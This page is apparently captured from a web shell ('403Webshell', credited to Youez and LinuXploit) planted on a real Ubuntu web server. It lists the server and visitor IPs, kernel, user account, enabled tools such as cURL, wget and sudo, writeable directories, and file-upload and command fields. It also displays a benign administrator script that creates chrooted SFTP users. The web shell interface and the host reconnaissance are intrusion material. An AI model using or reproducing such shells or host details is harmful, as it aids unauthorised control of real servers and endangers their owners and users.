403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/bloxbycommands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/bloxbycommands/create_sftp_user.sh
#!/bin/bash

# Script: create_sftp_user.sh

if [ "$(id -u)" != "0" ]; then
    echo "❌ This script must be run as root." >&2
    exit 1
fi

if [ $# -ne 2 ]; then
    echo "Usage: $0 <sftp_username> <sftp_password>"
    exit 1
fi

USERNAME="$1"
PASSWORD="$2"
USERDIR="/var/www/$USERNAME"
HOMEDIR="$USERDIR/home"
WEBROOT="$HOMEDIR/public_html"

echo "👤 Creating SFTP-only user: $USERNAME"
adduser --disabled-password --gecos "" "$USERNAME"
usermod -s /usr/sbin/nologin "$USERNAME"
echo "$USERNAME:$PASSWORD" | chpasswd

echo "📁 Creating directory structure..."
mkdir -p "$WEBROOT"
chown root:root "$USERDIR"
chmod 755 "$USERDIR"

chown "$USERNAME:$USERNAME" "$HOMEDIR"
chmod 755 "$HOMEDIR"
chown -R "$USERNAME:$USERNAME" "$WEBROOT"

SSHD_CONFIG="/etc/ssh/sshd_config"
MATCH_BLOCK="Match User $USERNAME"

if ! grep -q "$MATCH_BLOCK" "$SSHD_CONFIG"; then
    echo "🔧 Adding SSH jail configuration..."
    cat <<EOL >> "$SSHD_CONFIG"

# SFTP jail for $USERNAME
Match User $USERNAME
    ChrootDirectory $USERDIR
    ForceCommand internal-sftp
    PasswordAuthentication yes
    X11Forwarding no
    AllowTcpForwarding no
EOL
    systemctl restart ssh
fi

echo "✅ SFTP user '$USERNAME' created and jailed to $WEBROOT"

Youez - 2016 - github.com/yon3zu
LinuXploit